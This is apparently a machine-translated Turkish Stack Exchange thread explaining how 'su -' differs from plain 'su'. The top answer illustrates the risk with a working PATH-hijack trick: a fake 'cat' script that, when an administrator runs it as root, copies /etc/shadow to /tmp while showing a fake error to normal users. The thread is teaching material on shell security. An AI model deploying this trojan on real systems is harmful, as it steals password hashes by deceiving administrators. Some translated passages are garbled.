Neden su kullanıyoruz - sadece su değil?


Yanıtlar:


241

su -kullanıcıyı değiştirdikten sonra bir giriş kabuğu çağırır. Giriş kabuğu, ortam değişkenlerinin çoğunu sıfırlayarak temiz bir temel sağlar.

su sadece kullanıcıyı değiştirir, eski kullanıcı ile neredeyse aynı bir ortamla normal bir kabuk sağlar.

Bir makineye normal kullanıcı erişimi olan bir yazılım geliştirici olduğunuzu ve cahil yöneticinizin size kök erişimi sağlamayacağını hayal edin. Hadi (umarım) onu kandıralım.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Şimdi, yöneticinize niçin catana klasördeki boş dosyayı bulamadığınızı sorun.

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Yöneticiniz o kadar akıllı veya biraz tembel değilse, masanıza gelip süper kullanıcı güçlerini deneyebilir:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Vaov! Teşekkürler, süper yönetici!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

O, o.

Bozuk $PATHdeğişkenin sıfırlanmadığını belki farkettiniz . Yönetici su -bunun yerine çağırdıysa, bu olmazdı .


10
su --aynıdır su.
Mikel

12
- çoğu programın "bundan sonra hiçbir şey bayrak olarak alınmamalıdır" olarak yorumladığı bir bayraktır. Bir çizgi ile başlayan şeyler için ızgara için kullanışlıdır.
David Mackintosh

2
Bir umask000 gibi ayarlamayı unutma yoksa işe yaramaz.
Lekensteyn

10
Biri suPATH içine bir dosya da koyabilir . Gerçek davranışını taklit etmek o kadar da zor değil su. Süper kullanıcı zaten dikkatsiz olmuştur :-)
Stéphane Gimenez

10
su --aynı değildir su -: --bir getopt (lar) (ya da benzeri) seçenek işleyicisine komut satırını daha fazla seçenek için işlemeyi durdurmasını söyler (örneğin geri kalanı '-' ile başlayabilecek dosya isimleri içeriyorsa kullanışlıdır). Yani, içinde "rm-i - -f": -f sonra da, işte normal bir argüman olarak kabul edilir dosyanın adının için rm -ive olmayan bir additionnal olarak -fseçeneği rmkomutu. Yani su --sadece suve değil su -! Yani su --(komik ve öğretici) örneğe göre gaganın güvensiz olduğu kadar güvensiz olurdu. Kullanın su -.
Olivier Dulac

35

su -sizi tamamen root olarak günlüğe kaydeder, oysa suki root gibi davranıyorsunuz.

Bunun en açık örneği ~, kullanırsanız kökün ana dizinidir su -, ancak kullanıyorsanız kendi ana dizininizdir su.

Sisteminize bağlı olarak, bilgi istemi PATHveya geçmiş dosyasındaki farklılıklar da olabilir .

Yani, sistemi yöneten bir ekibin parçasıysanız ve meslektaşınız size çalıştırma emri verirse, ikisini de kullanıyorsanız su -, aynı şekilde çalışacağını biliyorsunuzdur , ancak ikisini de kullanıyorsanız su, farklı kabuk konfigürasyonları.

Öte yandan, bir komutu root olarak çalıştırmak ancak kendi konfigürasyonunuzu kullanarak kullanmak istiyorsanız, belki susizin için daha iyidir.

Ayrıca , root olarak çalışan bir kabuğu başlatmak için sudobir -sseçeneğe sahip olanları da unutmayın . Elbette, bunun da farklı kuralları var ve kullandığınız dağılıma bağlı olarak değişiyorlar.


1
"su" ye girdiğimde hem / / hem de HOME'u / root olarak değerlendiririm. Tanımladığınız davranış, belirli mermilere veya işletim sistemi sürümlerine veya başka şeylere özgü mü? Benim anlayışım, çekirdek tarafından genişletilebileceğidir. Benim (ve kökün) kabuğum olarak zsh var.
JasonWoof

Kişisel .bashrcveya /etc/bashrcveya /etc/profile.dkomut dosyaları ayarlıyorsunuz PATH. Bakın if [ $UID -eq 0 ]ya da bunun gibi bir şey.
Mikel

$USERörneğin değişmeden kalır.
Peterph,

1
Ne hakkında sudo su?
Simon Kuang

1
Örneklerin benim için çalışmıyor. Aynı dizini her iki şekilde de çözüyorum.
Daniel W.

1

Su kullanıyorum - normal bir kullanıcı olarak bir dizindeyken, ancak kökten geçmek ve değişimin ardından aynı dizinde kalmak istiyorum. Su kullandığınızda -, kullanıcıyı root'a çevirir ve ayrıca root home dizini olan / root'a yönlendirir.


Ya /da kökün ana dizini olarak tanımlanan şey
Jeff Schaller

-1

Ana fark:

su - username Kabuk ortamını, belirtilen kullanıcı olarak temiz bir giriş yapmış gibi ayarlar, belirtilen kullanıcı ortam değişkenlerine erişir ve kullanır,

su username sadece belirtilen kullanıcı için mevcut ortam ayarlarına sahip bir kabuk başlatır.

Kullanıcı adı suve ile belirtilmezse su -, kök hesap varsayılan olarak belirtilir.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.